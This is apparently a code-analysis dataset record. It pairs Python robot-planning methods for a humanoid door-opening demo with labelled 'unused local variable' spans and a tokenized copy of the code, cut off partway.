parent=self.doorHandleAffordance, visible=False, scale=0.2)\n palmToWorld1 = transformUtils.concatenateTransforms([linkOffsetFrame, startFrame])\n palmToWorld2 = transformUtils.concatenateTransforms([linkOffsetFrame, endFrame])\n\n constraintSet = self.ikPlanner.planEndEffectorGoal(startPose, self.graspingHand, palmToWorld2)\n constraintSet.nominalPoseName = 'q_start'\n constraintSet.ikParameters = IkParameters(usePointwise=False,\n maxDegreesPerSecond=self.speedLow,\n numberOfAddedKnots=2)\n\n endPose, info = constraintSet.runIk()\n\n\n motionVector = np.array(palmToWorld2.GetPosition()) - np.array(palmToWorld1.GetPosition())\n motionTargetFrame = transformUtils.getTransformFromOriginAndNormal(np.array(palmToWorld2.GetPosition()), motionVector)\n\n p = self.ikPlanner.createLinePositionConstraint(handLinkName, linkOffsetFrame, motionTargetFrame, lineAxis=2, bounds=[-np.linalg.norm(motionVector), 0.0], positionTolerance=0.001)\n constraintSet.constraints.append(p)\n\n plan = constraintSet.runIkTraj()\n self.addPlan(plan)", "metadata": "root.DoorDemo.planChop", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 420 }, { "content": " def planReach(self, reachTargetFrame=None, jointSpeedLimit=None):\n\n if reachTargetFrame is None:\n reachTargetFrame = self.doorHandleReachFrame\n\n if jointSpeedLimit is None:\n jointSpeedLimit = self.speedLow\n\n startPose = self.getPlanningStartPose()\n constraintSet = self.ikPlanner.planEndEffectorGoal(startPose, self.graspingHand, reachTargetFrame)\n constraintSet.nominalPoseName = 'q_start'\n constraintSet.ikParameters = IkParameters(usePointwise=False,\n maxDegreesPerSecond=self.speedLow,\n numberOfAddedKnots=2)\n\n endPose, info = constraintSet.runIk()\n\n linkOffsetFrame = self.ikPlanner.getPalmToHandLink(self.graspingHand)\n handLinkName = self.ikPlanner.getHandLink(self.graspingHand)\n handToWorld1 = self.ikPlanner.getLinkFrameAtPose(handLinkName, startPose)\n handToWorld2 = self.ikPlanner.getLinkFrameAtPose(handLinkName, endPose)\n palmToWorld1 = transformUtils.concatenateTransforms([linkOffsetFrame, handToWorld1])\n palmToWorld2 = transformUtils.concatenateTransforms([linkOffsetFrame, handToWorld2])\n\n motionVector = np.array(palmToWorld2.GetPosition()) - np.array(palmToWorld1.GetPosition())\n motionTargetFrame = transformUtils.getTransformFromOriginAndNormal(np.array(palmToWorld2.GetPosition()), motionVector)\n\n p = self.ikPlanner.createLinePositionConstraint(handLinkName, linkOffsetFrame, motionTargetFrame, lineAxis=2, bounds=[-np.linalg.norm(motionVector), 0.0], positionTolerance=0.001)\n constraintSet.constraints.append(p)\n\n plan = constraintSet.runIkTraj()\n self.addPlan(plan)", "metadata": "root.DoorDemo.planReach", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 465 }, { "content": " def planHandleTurn(self, turnAngle=None):\n\n doorSide = 1 if self.graspingHand == 'left' else -1\n if turnAngle is None:\n turnAngle = self.handleTurnAngle\n\n startPose = self.getPlanningStartPose()\n linkFrame = self.ikPlanner.getLinkFrameAtPose(self.ikPlanner.getHandLink(), startPose)\n\n finalGraspToReferenceTransfrom = transformUtils.concatenateTransforms(\n [self.ikPlanner.getPalmToHandLink(self.graspingHand), linkFrame,\n self.doorHandleAxisFrame.transform.GetInverse()])\n\n handleTurnTransform = transformUtils.frameFromPositionAndRPY([0.0, 0.0, 0.0],\n [doorSide*turnAngle, 0, 0])\n doorHandleTurnFrame = transformUtils.concatenateTransforms([finalGraspToReferenceTransfrom,\n handleTurnTransform,\n self.doorHandleAxisFrame.transform])\n\n vis.updateFrame(doorHandleTurnFrame, 'debug turn', parent=self.doorHandleAffordance, visible=False, scale=0.2)\n constraintSet = self.ikPlanner.planEndEffectorGoal(startPose, self.graspingHand,\n doorHandleTurnFrame)\n\n constraintSet.ikParameters = IkParameters(usePointwise=False,\n maxDegreesPerSecond=self.speedLow,\n numberOfAddedKnots=2)\n constraintSet.nominalPoseName = 'q_start'\n endPose, info = constraintSet.runIk()\n constraints = constraintSet.constraints\n\n constraints.extend(self.createHingeConstraint(self.doorHandleAxisFrame, [1.0, 0.0, 0.0],\n self.ikPlanner.getHandLink(),\n constraintSet.startPoseName))\n constraints.append(self.ikPlanner.createLockedBasePostureConstraint(constraintSet.startPoseName))\n constraints.append(self.ikPlanner.createLockedBackPostureConstraint(constraintSet.startPoseName))\n constraints.extend(self.ikPlanner.createFixedFootConstraints(constraintSet.startPoseName))\n constraints.append(self.ikPlanner.createLockedArmPostureConstraint(constraintSet.startPoseName))\n\n plan = constraintSet.runIkTraj()\n\n self.addPlan(plan)", "metadata": "root.DoorDemo.planHandleTurn", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 530 }, { "content": " def planHandlePush(self):\n\n doorSide = 1 if self.graspingHand == 'left' else -1\n\n startPose = self.getPlanningStartPose()\n linkFrame = self.ikPlanner.getLinkFrameAtPose(self.ikPlanner.getHandLink(), startPose)\n\n finalGraspToReferenceTransfrom = transformUtils.concatenateTransforms(\n [self.ikPlanner.getPalmToHandLink(self.graspingHand), linkFrame,\n self.doorHingeFrame.transform.GetInverse()])\n\n handlePushTransform = transformUtils.frameFromPositionAndRPY([0.0, 0.0, 0.0],\n [0, 0, -doorSide*self.handlePushAngle])\n doorHandlePushFrame = transformUtils.concatenateTransforms([finalGraspToReferenceTransfrom,\n handlePushTransform,\n self.doorHingeFrame.transform])\n\n vis.updateFrame(doorHandlePushFrame, 'debug push', parent=self.doorHandleAffordance, visible=False, scale=0.2)\n constraintSet = self.ikPlanner.planEndEffectorGoal(startPose, self.graspingHand,\n doorHandlePushFrame)\n\n constraintSet.ikParameters = IkParameters(usePointwise=False, maxDegreesPerSecond=self.speedLow)\n constraintSet.nominalPoseName = 'q_start'\n endPose, info = constraintSet.runIk()\n constraints = constraintSet.constraints\n\n constraints.extend(self.createHingeConstraint(self.doorHingeFrame, [0.0, 0.0, 1.0],\n self.ikPlanner.getHandLink(side=self.graspingHand),\n constraintSet.startPoseName))\n constraints.append(self.ikPlanner.createLockedBasePostureConstraint(constraintSet.startPoseName))\n #constraints.append(self.ikPlanner.createLockedBackPostureConstraint(constraintSet.startPoseName))\n constraints.extend(self.ikPlanner.createFixedFootConstraints(constraintSet.startPoseName))\n constraints.append(self.ikPlanner.createLockedArmPostureConstraint(constraintSet.startPoseName))\n\n plan = constraintSet.runIkTraj()\n\n self.addPlan(plan)", "metadata": "root.DoorDemo.planHandlePush", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 597 }, { "content": " def planHandlePushOpen(self):\n\n startPose = self.getPlanningStartPose()\n constraintSet = self.ikPlanner.planEndEffectorGoal(startPose, self.graspingHand, self.doorHandlePushOpenFrame)\n constraintSet.ikParameters = IkParameters(usePointwise=False,\n maxDegreesPerSecond=self.speedLow,\n numberOfAddedKnots=2)\n\n endPose, info = constraintSet.runIk()\n plan = constraintSet.runIkTraj()\n\n self.addPlan(plan)", "metadata": "root.DoorDemo.planHandlePushOpen", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 668 }, { "content": " def spawnDoorAffordance(self):\n\n groundFrame = self.computeGroundFrame(self.robotModel)\n\n doorOffsetX = 0.7\n doorOffsetY = 0.0\n\n doorGroundFrame = transformUtils.frameFromPositionAndRPY([doorOffsetX, 0.0, 0.0], [0.0, 0.0, 0.0])\n doorGroundFrame.PostMultiply()\n doorGroundFrame.Concatenate(groundFrame)\n\n stanceFrame = transformUtils.frameFromPositionAndRPY([0.0, 0.0, 0.0], [0.0, 0.0, 0.0])\n stanceFrame.PostMultiply()\n stanceFrame.Concatenate(groundFrame)\n\n doorWalkFrame = transformUtils.frameFromPositionAndRPY([doorOffsetX + 0.6, 0.0, 0.0], [0.0, 0.0, 0.0])\n doorWalkFrame.PostMultiply()\n doorWalkFrame.Concatenate(groundFrame)\n\n\n doorWidth = 36 * 0.0254\n doorHeight = 81 * 0.0254\n doorDepth = 0.5 * 0.0254\n\n doorSide = 1 if self.graspingHand == 'left' else -1\n handleHeightFromGround = 35 * 0.0254\n handleDistanceFromEdge = 1.625 * 0.0254\n handleDistanceFromDoor = 1.75 * 0.0254\n handleLength = 4.125 * 0.0254\n handleDepth = 0.25 * 0.0254\n\n doorJamWidth = 0.5\n doorJamDepth = 4.5 * 0.0254\n\n\n handleFrame = transformUtils.frameFromPositionAndRPY([-handleDistanceFromDoor - doorDepth/2.0 - handleDepth/2, doorSide*(doorWidth/2.0 - handleDistanceFromEdge - handleLength/2.0), handleHeightFromGround], [0.0, 0.0, 0.0])\n handleFrame.PostMultiply()\n handleFrame.Concatenate(doorGroundFrame)\n\n\n doorFrame = transformUtils.frameFromPositionAndRPY([0.0, 0.0, doorHeight/2.0], [0.0, 0.0, 0.0])\n doorFrame.PostMultiply()\n doorFrame.Concatenate(doorGroundFrame)\n\n\n leftDoorJamFrame = transformUtils.frameFromPositionAndRPY([0.0, (doorWidth/2.0 + doorJamWidth/2.0), doorHeight/2.0], [0.0, 0.0, 0.0])\n leftDoorJamFrame.PostMultiply()\n leftDoorJamFrame.Concatenate(doorGroundFrame)\n\n rightDoorJamFrame = transformUtils.frameFromPositionAndRPY([0.0, -(doorWidth/2.0 + doorJamWidth/2.0), doorHeight/2.0], [0.0, 0.0, 0.0])\n rightDoorJamFrame.PostMultiply()\n rightDoorJamFrame.Concatenate(doorGroundFrame)\n\n\n\n desc = dict(classname='BoxAffordanceItem', Name='door handle',\n pose=transformUtils.poseFromTransform(handleFrame), Dimensions=[handleDepth, handleLength, 0.02], Color=[0.0, 1.0, 0.0])\n handleAffordance = segmentation.affordanceManager.newAffordanceFromDescription(desc)\n\n desc = dict(classname='BoxAffordanceItem', Name='door',\n pose=transformUtils.poseFromTransform(doorFrame), Dimensions=[doorDepth, doorWidth, doorHeight], Color=[0.5, 0.5, 0.5])\n doorAffordance = segmentation.affordanceManager.newAffordanceFromDescription(desc)\n\n desc = dict(classname='BoxAffordanceItem', Name='left door jam',\n pose=transformUtils.poseFromTransform(leftDoorJamFrame), Dimensions=[doorJamDepth, doorJamWidth, doorHeight], Color=[0.7, 0.0, 0.0])\n leftDoorJamAffordance = segmentation.affordanceManager.newAffordanceFromDescription(desc)\n\n desc = dict(classname='BoxAffordanceItem', Name='right door jam',\n pose=transformUtils.poseFromTransform(rightDoorJamFrame), Dimensions=[doorJamDepth, doorJamWidth, doorHeight], Color=[0.7, 0.0, 0.0])\n rightDoorJamAffordance = segmentation.affordanceManager.newAffordanceFromDescription(desc)\n\n\n doorGroundFrame = vis.showFrame(doorGroundFrame, 'door ground frame', parent=doorAffordance)\n stanceFrame = vis.showFrame(stanceFrame, 'door stance frame', parent=doorAffordance)\n\n doorWalkFrame = vis.showFrame(doorWalkFrame, 'door walk frame', visible=False, parent=doorAffordance)\n\n\n doorFrame = doorAffordance.getChildFrame()\n handleFrame = handleAffordance.getChildFrame()\n\n leftDoorJamFrame = leftDoorJamAffordance.getChildFrame()\n rightDoorJamFrame = rightDoorJamAffordance.getChildFrame()\n\n self.doorFrameSync = vis.FrameSync()\n self.doorFrameSync.addFrame(doorGroundFrame)\n self.doorFrameSync.addFrame(stanceFrame, ignoreIncoming=True)\n self.doorFrameSync.addFrame(doorWalkFrame, ignoreIncoming=True)\n self.doorFrameSync.addFrame(doorFrame, ignoreIncoming=True)\n self.doorFrameSync.addFrame(leftDoorJamFrame, ignoreIncoming=True)\n self.doorFrameSync.addFrame(rightDoorJamFrame, ignoreIncoming=True)\n\n self.doorHandleFrameSync = vis.FrameSync()\n self.doorHandleFrameSync.addFrame(doorFrame)\n self.doorHandleFrameSync.addFrame(handleFrame, ignoreIncoming=True)\n\n\n self.findDoorHandleAffordance()\n self.doorGroundFrame = doorGroundFrame\n self.doorHandleStanceFrame = stanceFrame\n self.doorWalkFrame = doorWalkFrame", "metadata": "root.DoorDemo.spawnDoorAffordance", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 876 }, { "content": " def addTasks(self):\n\n # some helpers\n self.folder = None\n def addTask(task, parent=None):\n parent = parent or self.folder\n self.taskTree.onAddTask(task, copy=False, parent=parent)\n def addFunc(func, name, parent=None):\n addTask(rt.CallbackTask(callback=func, name=name), parent=parent)\n def addFolder(name, parent=None):\n self.folder = self.taskTree.addGroup(name, parent=parent)\n return self.folder\n\n\n d = self.doorDemo\n\n self.taskTree.removeAllTasks()\n side = self.params.getPropertyEnumValue('Hand')\n\n ###############\n # add the tasks\n\n # prep\n folder = addFolder('Prep')\n addTask(rt.CloseHand(name='close left hand', side='Left'))\n addTask(rt.CloseHand(name='close right hand', side='Right'))\n #addTask(rt.PlanPostureGoal(name='plan walk posture', postureGroup='General', postureName='safe nominal', side='Default'))\n #addTask(rt.CheckPlanInfo(name='check manip plan info'))\n #addTask(rt.CommitManipulationPlan(name='execute manip plan', planName='safe nominal posture plan'))\n #addTask(rt.WaitForManipulationPlanExecution(name='wait for manip execution'))\n\n\n # fit\n #addTask(rt.WaitForMultisenseLidar(name='wait for lidar sweep'))\n addTask(rt.UserPromptTask(name='fit door', message='Please fit and approve door affordance.'))\n addTask(rt.FindAffordance(name='check door affordance', affordanceName='door'))\n addTask(rt.SetNeckPitch(name='set neck position', angle=35))\n\n # walk\n folder = addFolder('Walk and refit')\n addTask(rt.RequestFootstepPlan(name='plan walk to door', stanceFrameName='door stance frame'))\n addTask(rt.UserPromptTask(name='approve footsteps', message='Please approve footstep plan.'))\n addTask(rt.CommitFootstepPlan(name='walk to door', planName='door stance frame footstep plan'))\n addTask(rt.WaitForWalkExecution(name='wait for walking'))\n\n # refit\n #addTask(rt.WaitForMultisenseLidar(name='wait for lidar sweep'))\n addTask(rt.UserPromptTask(name='fit door', message='Please fit and approve door handle affordance.'))\n\n # set fingers\n addTask(rt.OpenHand(name='open hand', side=side, mode='Pinch'))\n\n\n def addManipTask(name, planFunc, userPrompt=False):\n\n folder = addFolder(name)\n addFunc(planFunc, name='plan')\n if not userPrompt:\n addTask(rt.CheckPlanInfo(name='check manip plan info'))\n else:\n addTask(rt.UserPromptTask(name='approve manip plan', message='Please approve manipulation plan.'))\n addFunc(d.commitManipPlan, name='execute manip plan')\n addTask(rt.WaitForManipulationPlanExecution(name='wait for manip execution'))\n\n\n addManipTask('Raise arms', d.planPreReach, userPrompt=False)\n addManipTask('Raise pushing hand', d.planDoorTouch, userPrompt=False)\n if d.usePinchGrasp:\n addManipTask('Reach', d.planReach, userPrompt=True)\n addFunc(self.closePinch, name='Pinch handle')\n addTask(rt.UserPromptTask(name='Approve grasp',\n message='Please verify the pinch grasp'))\n addManipTask('Turn', d.planHandleTurn, userPrompt=False)\n addTask(rt.UserPromptTask(name='Approve handle turn',\n message='Please verify that the handle has turned'))\n else:\n addFunc(self.doorDemo.setChopParametersToDefaults, name='re-set chop parameters')\n addFunc(self.closePinch, name='Close hand')\n addManipTask('Reach', d.planReach, userPrompt=True)\n addManipTask('Chop', d.planChop, userPrompt=True)\n\n addManipTask('Push ajar', d.planHandlePush, userPrompt=False)\n addTask(rt.UserPromptTask(name='Approve door position',\n message='Please verify that the door is ajar'))\n addManipTask('Push ajar again', d.planHandlePush, userPrompt=False)\n\n if d.usePinchGrasp:\n addManipTask('Lift', d.planHandlePushLift, userPrompt=False)\n addTask(rt.CloseHand(name='Open hand', side=side, mode='Pinch', amount=0))\n\n addManipTask('Push open', d.planDoorPushOpen, userPrompt=False)\n addTask(rt.UserPromptTask(name='Approve door position',\n message='Please verify that the door is open'))\n addTask(rt.CloseHand(name='Close hand', side=side))\n addManipTask('Tuck Arms', d.planTuckArms, userPrompt=False)\n addTask(rt.CloseHand(name='Close fist', side=side))\n\n # walk\n folder = addFolder('Walk through door')\n #addTask(rt.RequestFootstepPlan(name='plan walk through door', stanceFrameName='door walk frame'))\n addFunc(d.planFootstepsThroughDoorManual, name='plan walk through door')\n addTask(rt.UserPromptTask(name='approve footsteps', message='Please approve footstep plan.'))\n addTask(rt.CommitFootstepPlan(name='walk to door', planName='door walk frame footstep plan'))\n addTask(rt.WaitForWalkExecution(name='wait for walking'))\n\n\n folder = addFolder('Prep for walking')\n addTask(rt.CloseHand(name='close left hand', side='Left'))\n addTask(rt.CloseHand(name='close right hand', side='Right'))\n addTask(rt.PlanPostureGoal(name='plan walk posture', postureGroup='General', postureName='safe nominal', side='Default'))\n addTask(rt.UserPromptTask(name='approve manip plan', message='Please approve manip plan.'))\n addTask(rt.CommitManipulationPlan(name='execute manip plan', planName='safe nominal posture plan'))\n addTask(rt.WaitForManipulationPlanExecution(name='wait for manip execution'))", "metadata": "root.DoorTaskPanel.addTasks", "header": "['class', 'DoorTaskPanel', '(', 'TaskUserPanel', ')', ':', '___EOS___']", "index": 1098 } ]
[ { "span": "endPose,", "start_line": 447, "start_column": 8, "end_line": 447, "end_column": 15 }, { "span": "info ", "start_line": 447, "start_column": 17, "end_line": 447, "end_column": 21 }, { "span": "jointSpeedLimit ", "start_line": 471, "start_column": 12, "end_line": 471, "end_column": 27 }, { "span": "endPose,", "start_line": 557, "start_column": 8, "end_line": 557, "end_column": 15 }, { "span": "info ", "start_line": 557, "start_column": 17, "end_line": 557, "end_column": 21 }, { "span": "endPose,", "start_line": 620, "start_column": 8, "end_line": 620, "end_column": 15 }, { "span": "info ", "start_line": 620, "start_column": 17, "end_line": 620, "end_column": 21 }, { "span": "endPose,", "start_line": 676, "start_column": 8, "end_line": 676, "end_column": 15 }, { "span": "info ", "start_line": 676, "start_column": 17, "end_line": 676, "end_column": 21 }, { "span": "doorOffsetY ", "start_line": 881, "start_column": 8, "end_line": 881, "end_column": 19 }, { "span": "folder ", "start_line": 1153, "start_column": 12, "end_line": 1153, "end_column": 18 }, { "span": "folder ", "start_line": 1204, "start_column": 8, "end_line": 1204, "end_column": 14 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Cho", "p_", "(_", "self_", ",_", "delta", "Z_", "=_", "None_", ",_", "delta", "Y_", "=_", "None_", ",_", "delta", "X_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "delta", "Z_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "delta", "Z_", "=_", "self_", "._", "chop", "Distance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "delta", "Y_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "delta", "Y_", "=_", "self_", "._", "chop", "Side", "way", "s", "Distance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "delta", "X_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "delta", "X_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "link", "Off", "set", "Frame_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Pal", "m", "To", "Hand", "Link_", "(_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hand", "Link", "Name_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Hand", "Link_", "(_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "Frame_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Link", "Frame", "At", "Pose", "_", "(_", "hand", "Link", "Name_", ",_", "start", "Pose", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "To", "Start", "Transform_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "delta", "Z_", ",_", "-_", "delta", "X_", ",_", "-_", "delta", "Y_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "0_", ",_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "Frame_", "=_", "transform", "Utils_", "._", "concatenate", "Transforms", "_", "(_", "[_", "end", "To", "Start", "Transform_", ",_", "start", "Frame_", "]_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vis_", "._", "update", "Frame_", "(_", "end", "Frame_", ",_", "'", "debug", " ", "chop", "'_", ",_", "parent_", "=_", "self_", "._", "door", "Handle", "Aff", "orda", "nce_", ",_", "visible_", "=_", "False_", ",_", "scale_", "=_", "0.2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pal", "m", "To", "Wor", "ld", "1_", "=_", "transform", "Utils_", "._", "concatenate", "Transforms", "_", "(_", "[_", "link", "Off", "set", "Frame_", ",_", "start", "Frame_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pal", "m", "To", "Wor", "ld", "2_", "=_", "transform", "Utils_", "._", "concatenate", "Transforms", "_", "(_", "[_", "link", "Off", "set", "Frame_", ",_", "end", "Frame_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "constraint", "Set_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "plan", "End", "Effe", "ctor", "Goal", "_", "(_", "start", "Pose", "_", ",_", "self_", "._", "gra", "spin", "g", "Hand_", ",_", "pal", "m", "To", "Wor", "ld", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "._", "nominal", "Pose", "Name_", "=_", "'", "q", "\\u", "start", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "._", "ik", "Parameters_", "=_", "Ik", "Parameters_", "(_", "use", "Point", "wise_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "Degrees", "Per", "Second", "_", "=_", "self_", "._", "speed", "Low_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "number", "Of", "Added", "Kno", "ts_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "end", "Pose", "_", ",_", "info_", "=_", "constraint", "Set_", "._", "run", "Ik", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "moti", "on", "Vector_", "=_", "np_", "._", "array_", "(_", "pal", "m", "To", "Wor", "ld", "2_", "._", "Get", "Position_", "(_", ")_", ")_", "-_", "np_", "._", "array_", "(_", "pal", "m", "To", "Wor", "ld", "1_", "._", "Get", "Position_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "moti", "on", "Target", "Frame_", "=_", "transform", "Utils_", "._", "get", "Transform", "Fro", "m", "Orig", "in", "And", "Normal_", "(_", "np_", "._", "array_", "(_", "pal", "m", "To", "Wor", "ld", "2_", "._", "Get", "Position_", "(_", ")_", ")_", ",_", "moti", "on", "Vector_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "p_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "create", "Line", "Position", "Constraint_", "(_", "hand", "Link", "Name_", ",_", "link", "Off", "set", "Frame_", ",_", "moti", "on", "Target", "Frame_", ",_", "line", "Axis_", "=_", "2_", ",_", "bounds_", "=_", "[_", "-_", "np_", "._", "linalg_", "._", "norm_", "(_", "moti", "on", "Vector_", ")_", ",_", "0.0_", "]_", ",_", "position", "Tolerance", "_", "=_", "0.001_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "._", "constraints_", "._", "append_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plan_", "=_", "constraint", "Set_", "._", "run", "Ik", "Tra", "j_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Plan_", "(_", "plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Reach", "_", "(_", "self_", ",_", "reach", "Target", "Frame_", "=_", "None_", ",_", "joint", "Spee", "d", "Limit_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "reach", "Target", "Frame_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reach", "Target", "Frame_", "=_", "self_", "._", "door", "Handle", "Reach", "Frame_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "joint", "Spee", "d", "Limit_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "joint", "Spee", "d", "Limit_", "=_", "self_", "._", "speed", "Low_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "plan", "End", "Effe", "ctor", "Goal", "_", "(_", "start", "Pose", "_", ",_", "self_", "._", "gra", "spin", "g", "Hand_", ",_", "reach", "Target", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "._", "nominal", "Pose", "Name_", "=_", "'", "q", "\\u", "start", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "._", "ik", "Parameters_", "=_", "Ik", "Parameters_", "(_", "use", "Point", "wise_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "Degrees", "Per", "Second", "_", "=_", "self_", "._", "speed", "Low_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "number", "Of", "Added", "Kno", "ts_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "end", "Pose", "_", ",_", "info_", "=_", "constraint", "Set_", "._", "run", "Ik", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "link", "Off", "set", "Frame_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Pal", "m", "To", "Hand", "Link_", "(_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hand", "Link", "Name_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Hand", "Link_", "(_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hand", "To", "Wor", "ld", "1_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Link", "Frame", "At", "Pose", "_", "(_", "hand", "Link", "Name_", ",_", "start", "Pose", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hand", "To", "Wor", "ld", "2_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Link", "Frame", "At", "Pose", "_", "(_", "hand", "Link", "Name_", ",_", "end", "Pose", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pal", "m", "To", "Wor", "ld", "1_", "=_", "transform", "Utils_", "._", "concatenate", "Transforms", "_", "(_", "[_", "link", "Off", "set", "Frame_", ",_", "hand", "To", "Wor", "ld", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pal", "m", "To", "Wor", "ld", "2_", "=_", "transform", "Utils_", "._", "concatenate", "Transforms", "_", "(_", "[_", "link", "Off", "set", "Frame_", ",_", "hand", "To", "Wor", "ld", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "moti", "on", "Vector_", "=_", "np_", "._", "array_", "(_", "pal", "m", "To", "Wor", "ld", "2_", "._", "Get", "Position_", "(_", ")_", ")_", "-_", "np_", "._", "array_", "(_", "pal", "m", "To", "Wor", "ld", "1_", "._", "Get", "Position_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "moti", "on", "Target", "Frame_", "=_", "transform", "Utils_", "._", "get", "Transform", "Fro", "m", "Orig", "in", "And", "Normal_", "(_", "np_", "._", "array_", "(_", "pal", "m", "To", "Wor", "ld", "2_", "._", "Get", "Position_", "(_", ")_", ")_", ",_", "moti", "on", "Vector_", 